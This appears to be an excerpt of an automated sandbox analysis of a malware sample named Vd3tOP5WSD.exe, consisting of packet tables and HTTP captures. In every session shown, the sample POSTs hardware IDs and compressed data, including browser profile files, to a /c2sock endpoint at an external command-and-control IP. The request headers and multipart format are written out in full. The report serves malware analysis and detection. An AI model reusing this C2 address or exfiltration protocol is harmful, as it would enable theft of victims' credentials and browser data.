Nov 13, 2024 10:53:27.341490984 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:27.389519930 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:27.389585972 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:27.437482119 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:27.437601089 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:27.485371113 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:27.485424995 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:27.537421942 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:27.537522078 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:27.585436106 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:27.585500956 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:27.637412071 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:27.637492895 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:27.685446024 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:27.685549974 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:27.733386993 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:27.733494997 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:27.781445980 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:27.781555891 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:27.829394102 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:27.829482079 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:28.092742920 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:28.092859983 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:28.097835064 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:28.097898006 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:28.149610043 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:28.149738073 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:28.201461077 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:28.201673031 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:28.249500036 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:28.249629974 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:28.301632881 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:28.301702023 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:28.353662014 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:28.353791952 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:28.401628017 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:28.401710033 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:28.449501038 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:28.449615002 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:28.501415014 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:28.501529932 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:28.549529076 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:28.549645901 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:28.597532988 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:28.597598076 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:28.648283005 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:28.648361921 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:28.697678089 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:28.697788000 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:28.745646000 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:28.745795012 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:28.793387890 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:28.793515921 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:28.841382980 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:28.841527939 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:28.890459061 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:28.890542984 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:28.943233013 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:28.943386078 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:28.991347075 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:28.991489887 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:29.045402050 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:29.045557976 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:29.093673944 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:29.093803883 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:29.145668030 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:29.145859957 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:29.193464041 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:29.193542957 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:29.241625071 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:29.241816044 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:29.290572882 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:29.290700912 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:29.321274996 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:29.591622114 CET	49991	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:29.596617937 CET	80	49991	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:29.596743107 CET	49991	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:29.596995115 CET	49991	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:29.597378969 CET	49991	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:29.601799965 CET	80	49991	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:29.602308989 CET	80	49991	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:38.220848083 CET	80	49991	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:38.222316027 CET	49991	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:38.253362894 CET	49991	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:38.258558035 CET	80	49991	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:38.528826952 CET	49993	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:38.534307003 CET	80	49993	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:38.534496069 CET	49993	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:38.534646988 CET	49993	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:38.535351038 CET	49993	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:38.539576054 CET	80	49993	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:38.540415049 CET	80	49993	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:47.017457962 CET	80	49993	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:47.017589092 CET	49993	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:47.017746925 CET	49993	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:47.022785902 CET	80	49993	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:47.411478996 CET	49994	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:47.416503906 CET	80	49994	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:47.416596889 CET	49994	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:47.416708946 CET	49994	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:47.417144060 CET	49994	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:47.421495914 CET	80	49994	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:47.422003031 CET	80	49994	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:56.106674910 CET	80	49994	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:56.106852055 CET	49994	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:56.107063055 CET	49994	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:56.112597942 CET	80	49994	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:56.384577990 CET	49995	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:56.518012047 CET	80	49995	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:56.518100023 CET	49995	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:56.518299103 CET	49995	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:56.518840075 CET	49995	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:56.523082018 CET	80	49995	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:56.523637056 CET	80	49995	94.158.244.69	192.168.2.6
Nov 13, 2024 10:54:05.000678062 CET	80	49995	94.158.244.69	192.168.2.6
Nov 13, 2024 10:54:05.000873089 CET	49995	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:54:05.000937939 CET	49995	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:54:05.005985022 CET	80	49995	94.158.244.69	192.168.2.6
Nov 13, 2024 10:54:05.344310999 CET	49996	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:54:05.349428892 CET	80	49996	94.158.244.69	192.168.2.6
Nov 13, 2024 10:54:05.349545002 CET	49996	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:54:05.349737883 CET	49996	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:54:05.350265980 CET	49996	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:54:05.354568005 CET	80	49996	94.158.244.69	192.168.2.6
Nov 13, 2024 10:54:05.355093002 CET	80	49996	94.158.244.69	192.168.2.6
Nov 13, 2024 10:54:13.834688902 CET	80	49996	94.158.244.69	192.168.2.6
Nov 13, 2024 10:54:13.834770918 CET	49996	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:54:13.834832907 CET	49996	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:54:13.839735985 CET	80	49996	94.158.244.69	192.168.2.6
Nov 13, 2024 10:54:14.122622013 CET	49997	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:54:14.127614021 CET	80	49997	94.158.244.69	192.168.2.6
Nov 13, 2024 10:54:14.127687931 CET	49997	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:54:14.127818108 CET	49997	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:54:14.128194094 CET	49997	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:54:14.132627964 CET	80	49997	94.158.244.69	192.168.2.6
Nov 13, 2024 10:54:14.132999897 CET	80	49997	94.158.244.69	192.168.2.6
Nov 13, 2024 10:54:22.617595911 CET	80	49997	94.158.244.69	192.168.2.6
Nov 13, 2024 10:54:22.617837906 CET	49997	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:54:22.617837906 CET	49997	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:54:22.622699022 CET	80	49997	94.158.244.69	192.168.2.6

HTTP Request Dependency Graph

94.158.244.69

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49805	94.158.244.69	80	2052	C:\Users\user\Desktop\Vd3tOP5WSD.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 10:52:17.520049095 CET	190	OUT	POST /c2sock HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 16815 Host: 94.158.244.69
Nov 13, 2024 10:52:17.520529985 CET	11124	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 7b 61 33 33 63 37 33 34 30 2d Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"{a33c7340-61ca-11ee-8c18-806e6f6e6963}--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"2--SqDe87817huf871793q74Content-Disposition: form-data;
Nov 13, 2024 10:52:17.525151014 CET	1236	OUT	Data Raw: 24 d1 70 17 55 8a e1 a7 ef b0 09 eb 87 c2 ff 92 d6 c3 33 a2 34 3b 9b 39 28 46 8c 45 c5 5b ae 83 59 29 3e f4 5c ac 21 19 95 91 c7 98 49 40 6a d1 a6 ed ce 6b 36 b3 86 f8 e2 cc e7 f7 c3 b3 9e 3f 91 fb db 90 88 41 d8 4d 33 92 44 a1 d0 da fe ae 28 cd Data Ascii: $pU34;9(FE[Y)>\!I@jk6?AM3D(ey9zqs2X&luuDS[_{GN]BT<tph\|n`MY\|z=5iFO3:5AkQg } }
Nov 13, 2024 10:52:17.525465012 CET	4455	OUT	Data Raw: e9 03 fb 7f 00 00 00 20 7d 60 ff 0f 00 00 00 a4 0f ec ff 01 00 00 80 f4 81 f5 1f 00 00 00 48 1f 58 ff 01 00 00 80 f4 81 df ff 01 00 00 80 f4 91 1f 78 47 c8 65 35 41 fc fb dc 7f e5 16 b2 5a ff 5f 0e d4 04 00 c0 b7 c5 c1 fc c7 a2 f4 f4 69 e6 e5 a6 Data Ascii: }`HXxGe5AZ_i&k6=iU=vLj*dcfqTWH#P-RkRB])>t'+&=YhNgKPAvxUxqE;I5/kPNi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49856	94.158.244.69	80	2052	C:\Users\user\Desktop\Vd3tOP5WSD.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 10:52:26.642975092 CET	190	OUT	POST /c2sock HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 19049 Host: 94.158.244.69
Nov 13, 2024 10:52:26.643377066 CET	11124	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 7b 61 33 33 63 37 33 34 30 2d Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"{a33c7340-61ca-11ee-8c18-806e6f6e6963}--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"2--SqDe87817huf871793q74Content-Disposition: form-data;
Nov 13, 2024 10:52:26.648325920 CET	1236	OUT	Data Raw: 92 a0 58 f3 ed 03 7d f8 71 d4 73 a0 31 77 1c d2 0f 8a 04 83 c4 21 34 0d b6 59 51 64 92 42 77 65 31 14 88 6e 95 5c 65 c2 42 30 1a 3a 5b f3 9d dd d5 b3 42 eb fc f9 ea 9e 3d 1c 6f 58 bc 0d a9 26 dc d0 3c 87 6e d3 43 01 cb f9 51 66 3a 1a 3a 4b ee 76 Data Ascii: X}qs1w!4YQdBwe1n\eB0:[B=oX&<nCQf::Kv~3>W!2{mEzCt.}#g\q!/-Q<q?8~3+r\*PV N~$biw%uBuL%b%gs)gKoGx+
Nov 13, 2024 10:52:26.648451090 CET	2472	OUT	Data Raw: 6f 65 e2 0d ba fb ee b2 e1 e9 a8 47 82 f0 e0 07 b7 03 68 98 c0 0f 8e 70 e3 1c c5 a0 ed 70 54 dc 83 98 b3 67 33 0f cf 43 af aa 47 f9 81 3e aa ad 3b 77 b4 46 6b f3 72 59 13 71 57 d7 41 0a 6d 1d 7b c9 74 df 2d 8f 7b f5 91 a9 0a ad cb 97 0f bc 18 97 Data Ascii: oeGhppTg3CG>;wFkrYqWAm{t-{K,)Z?F_Q/H8/M;/I--<v?=w_q`$(Yyi.oN d'rImA"H/(" Ad? GA 2A
Nov 13, 2024 10:52:26.648494005 CET	2472	OUT	Data Raw: a0 fa 3f ab 7f a5 f2 87 20 f0 93 f2 e1 93 cd 8d 6b cd da ea 8b 2f 9e a0 9a 62 bb cc 54 44 9f ba ba a8 49 be 24 12 57 97 45 4b a6 92 6e 7b 32 b3 3c 77 d3 a3 de 4e 78 2e 08 53 16 13 9a 06 db cc 8d a3 2d 16 27 e7 68 d4 ab ec 55 ae 8f 23 da 57 86 31 Data Ascii: ? k/bTDI$WEKn{2<wNx.S-'hU#W1m}w~"-aea7k6dK.1Q-/)\|#rm>X.Yk*eTt5EA d(IL\nA?fjV++Yt{7YnL&_#I
Nov 13, 2024 10:52:26.648526907 CET	1745	OUT	Data Raw: 57 e3 a3 f1 3e 5a 05 00 00 00 00 00 00 80 cb 30 9b d6 cb 86 ed 75 a3 6a 93 13 95 07 fa 15 34 6b 5f 95 05 a3 ca aa 1b 76 b7 b8 28 e6 26 f4 a2 11 17 b8 a5 eb 4b d3 fd c2 dc c8 08 83 3e 8b 8f 32 09 3d 3f 7d b6 35 a5 e9 73 d3 dd 2e f3 ad 40 32 19 06 Data Ascii: W>Z0uj4k_v(&K>2=?}5s.@2w'?&d0TzYs ZLD^_Tz^'nsG*?"p~PK#m.PPK&mYEdge/Default/Bro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49903	94.158.244.69	80	2052	C:\Users\user\Desktop\Vd3tOP5WSD.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 10:52:35.650890112 CET	188	OUT	POST /c2sock HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 440 Host: 94.158.244.69
Nov 13, 2024 10:52:35.651307106 CET	440	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 7b 61 33 33 63 37 33 34 30 2d Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"{a33c7340-61ca-11ee-8c18-806e6f6e6963}--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"1--SqDe87817huf871793q74Content-Disposition: form-data;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49956	94.158.244.69	80	2052	C:\Users\user\Desktop\Vd3tOP5WSD.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 10:52:44.649811029 CET	188	OUT	POST /c2sock HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 440 Host: 94.158.244.69
Nov 13, 2024 10:52:44.650234938 CET	440	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 7b 61 33 33 63 37 33 34 30 2d Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"{a33c7340-61ca-11ee-8c18-806e6f6e6963}--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"1--SqDe87817huf871793q74Content-Disposition: form-data;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49986	94.158.244.69	80	2052	C:\Users\user\Desktop\Vd3tOP5WSD.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 10:52:53.432670116 CET	188	OUT	POST /c2sock HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 440 Host: 94.158.244.69
Nov 13, 2024 10:52:53.433115005 CET	440	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 7b 61 33 33 63 37 33 34 30 2d Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"{a33c7340-61ca-11ee-8c18-806e6f6e6963}--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"1--SqDe87817huf871793q74Content-Disposition: form-data;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49988	94.158.244.69	80	2052	C:\Users\user\Desktop\Vd3tOP5WSD.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 10:53:02.688122988 CET	190	OUT	POST /c2sock HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 19892 Host: 94.158.244.69
Nov 13, 2024 10:53:02.688472986 CET	11124	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 7b 61 33 33 63 37 33 34 30 2d Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"{a33c7340-61ca-11ee-8c18-806e6f6e6963}--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"3--SqDe87817huf871793q74Content-Disposition: form-data;
Nov 13, 2024 10:53:02.693331957 CET	1236	OUT	Data Raw: 87 ad 4a 3b 6b 6f 67 f5 a4 b5 1a a5 fc 5c dc dc 8d 2b ef 7d 00 f4 3c c3 da 67 99 98 78 ec dd c3 e3 e7 26 77 9a 6d bd 2d eb 4c b4 de 98 3b 56 53 ef ca 8c 9f 3c da bb 7e ac 25 5d 2d 47 c3 dc 59 1e fb 27 dd be ed 46 1e 50 b2 7b 33 6f 4a ce 1d 6c bf Data Ascii: J;kog\+}<gx&wm-L;VS<~%]-GY'FP{3oJlsMs+IE+KhEo&Vo?{jwy-lqo+ssK>IpccwVR#Z:7sl$eMmvZ6Fgm}
Nov 13, 2024 10:53:02.693434000 CET	4944	OUT	Data Raw: ad d5 dc 76 da d9 e5 73 27 8f 2d 2d 9e ca df a8 94 0e dd fe ec e2 67 1e 4d 06 ab 17 92 51 8f 9f 0a 8e f7 9c 39 db 73 e6 3e ff db fd d1 cb b3 47 e7 5a 8d 66 6d b1 7c a3 34 d9 ed ee f6 e5 d4 2a 8d c9 e8 8a 9a b5 6a 63 b2 50 2d 76 bb b9 f1 58 cf 20 Data Ascii: vs'--gMQ9s>GZfm\|4*jcP-vX tkQg3t\|UiNYJZ#3NO]>;p{\|]RVl5O>W?9RN;X<wWFA(
Nov 13, 2024 10:53:02.693460941 CET	2588	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49989	94.158.244.69	80	2052	C:\Users\user\Desktop\Vd3tOP5WSD.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 10:53:11.645047903 CET	189	OUT	POST /c2sock HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 1137 Host: 94.158.244.69
Nov 13, 2024 10:53:11.645447016 CET	1137	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 7b 61 33 33 63 37 33 34 30 2d Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"{a33c7340-61ca-11ee-8c18-806e6f6e6963}--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"1--SqDe87817huf871793q74Content-Disposition: form-data;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49990	94.158.244.69	80	2052	C:\Users\user\Desktop\Vd3tOP5WSD.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 10:53:20.838767052 CET	191	OUT	POST /c2sock HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 577816 Host: 94.158.244.69
Nov 13, 2024 10:53:20.839282036 CET	11124	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 7b 61 33 33 63 37 33 34 30 2d Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"{a33c7340-61ca-11ee-8c18-806e6f6e6963}--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"1--SqDe87817huf871793q74Content-Disposition: form-data;
Nov 13, 2024 10:53:20.843975067 CET	1236	OUT	Data Raw: a1 fe e7 de 11 5c b7 eb 6d 59 8f ff 95 72 d6 09 da 1c 30 6b 9d 5f ad fe 97 3d 4e 2f 4b bc bf 1c ed ef 35 3c d0 b4 be f0 5e 4b ed de 40 9b 9f e5 f6 be 72 c2 7b db 67 ca 75 f4 18 07 cf ed 6f e9 27 0e ea 00 f9 be 5f dd ff 6b ec ff 58 7b 77 a9 ae ac Data Ascii: \mYr0k_=N/K5<^K@r{guo'_kX{wpw9~}c{wJI\sn/;J5*qgrbwNYu[[Z7:egTxhrCEZ-cYz])Yrm,r,?WV,\\.$f_R43e
Nov 13, 2024 10:53:20.844213009 CET	2472	OUT	Data Raw: 4d 3b ae 57 62 d2 fc 4f 1b 5e 10 6e 7c 64 7f f0 3f 9b 0d 86 2e 78 64 af c4 c0 fb 6c e7 e0 7f 3c 2e fb 33 cf 65 ae ff 1b da 27 ac f7 e3 f6 17 86 b9 9f 19 6d 80 81 f9 c1 fb 26 1c d6 47 bf 52 b4 0d d2 79 ba 4e c6 c7 82 f3 66 70 7d 2c d5 13 52 0c fb Data Ascii: M;WbO^n\|d?.xdl<.3e'm&GRyNfp},R3?u>[Y@sU[3<x<i+?h@xG5}u}ypB^C/o}`zAE13/fU'''''':LkgSJs
Nov 13, 2024 10:53:20.844244957 CET	4944	OUT	Data Raw: 3d c1 e6 7b bd 0b 84 f5 f9 a2 7e 0f fe 47 be 87 f3 b0 3e f8 1e bd 4e 18 d2 3f f4 3f 6e 86 30 3f 18 20 fc 8f 1c 8f f7 01 73 13 b4 9d e3 b5 81 a6 ff d1 39 7d 5f 50 d3 87 ba 3e 6e 78 74 cd ec f7 e5 7e 67 f6 ff 92 e7 99 7b 7e 31 1f 90 cf 00 e4 e9 24 Data Ascii: ={~G>N??n0? s9}_P>nxt~g{~1$kwWi>''''''''''''''=xma=\|oqWbA\|t{_V{^_>Gi& c6~xeJ>>+H'<@5\|
Nov 13, 2024 10:53:20.844288111 CET	7416	OUT	Data Raw: 1b ec 7f 59 3f d7 a9 fe d7 cc 5e df 76 f7 bf 46 f4 ff a6 de 5b 80 ff 71 eb eb 04 ff 8b 38 60 37 f7 3f 99 ff 97 df ff 74 82 bd c0 b5 ee 07 ee 2e fe e7 da 0b 4c f7 50 e0 7f b5 3a 60 bd fe f7 f2 79 a5 c4 88 ff 15 ef 7f 79 2c b0 27 f5 ff da 1d 50 fa Data Ascii: Y?^vF[q8`7?t.LP:`yy,'P;7;?`f~X`~M`Wfa_lk__V3aw0?P{=K?@3xE{{\|`!}!l>5T
